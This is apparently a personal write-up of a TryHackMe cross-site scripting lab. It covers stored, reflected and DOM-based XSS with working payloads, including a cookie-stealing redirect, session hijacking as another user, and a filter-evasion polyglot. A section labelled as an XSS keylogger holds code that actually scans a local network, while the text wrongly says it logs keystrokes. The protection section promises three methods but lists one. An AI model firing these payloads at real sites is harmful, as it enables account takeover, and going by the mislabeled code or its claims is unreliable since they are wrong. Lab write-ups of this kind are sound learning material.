THM — Cross-Site Scripting (XXS)

Cross-site scripting (XSS) is a security vulnerability typically found in web applications. Its a type of injection which can allow an attacker to execute malicious scripts and have it execute on a victims machine. XXS can be found where input needs to be supplied.

XSS is split into two categories:

  • Persistent/stored
  • Reflected

XSS can be used to

  • Cookie Stealing

Stored XSS

Add a Comment:

When we inject h1 tags into the comment section we see that the website registers this and verifies our html.

Steal the Cookie:

Attempting to print the cookie can be acheived with

<script>alert(document.cookie)</script>

Change the Title:

Attempting to change the “XSS Playground” title can be acheived by inspecting the HTML code and stealing the id of the title

We can then inject a script into the comment section to execute our javascript which will result in our exploit.

<script>document.getElementById('thm-title').innerHTML="I am a hacker";</script>

Steal Jack’s cookie:

Stored XSS can be used to steal a victims cookie (data on a machine that authenticates a user to a webserver). This can be done by having a victims browser parse the following Javascript code:

<script>document.location='/logs/'+document.cookie</script>

This script, when ran will navigate the users browser to a different URL, this new request will includes a victims cookie as a query parameter.

When the attacker has acquired the cookie, they can use it to impersonate the victim. We can use developer tools to change our cookie to Jack’s cookie. When we refresh the page, we automatically login as Jack and can post a comment

Reflected XSS

In a reflected cross-site scripting attack, the malicious payload is part of the victims request to the website. An attacker crafts a URL containing a malicious payload and sends it to the victim. The victim is tricked by the attacker into clicking the URL.

For this task, the site asks us to craft a URL that will display the user’s IP address

<script>alert(window.location.hostname)</script>

DOM-Based XSS

In a DOM-based XSS attack, a malicious payload is not actually parsed by the victim’s browser until the website’s legitimate JavaScript is executed. Utilizing some javascript, we can inject some code to pop up an alert

test" onmouseover="alert('Test')"

We can also change the background with Javascript by hovering over the text.

test" onmouseover="document.body.style.backgroundColor = 'red';

Keylogger with XSS

<script>for (let i = 0; i < 256; i++) { let ip = '192.168.0.' + i let code = '<img src="http://' + ip + '/favicon.ico" onload="this.onerror=null; this.src=/log/' + ip + '">' document.body.innerHTML += code }</script>

Input this into an injection point and it will start logging the keystrokes

Filter Evasion

Bypassing filters

<img src=x onerror=alert('Hello');>0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"<style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert('Hello')"></xss><style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert('Hello')"></xss>

Protection Methods

There are many ways to prevent XSS, here are the 3 ways to keep cross-site scripting our of your application.

  1. Escaping — Escape all user input. This means any data your application has received is secure before rendering it for your end users. By escaping user input, key characters in the data received but the web page will be prevented from being interpreter in any malicious way. For example, you could disallow the < and > characters from being rendered.

Per TryHackMe.

cyber enthusiast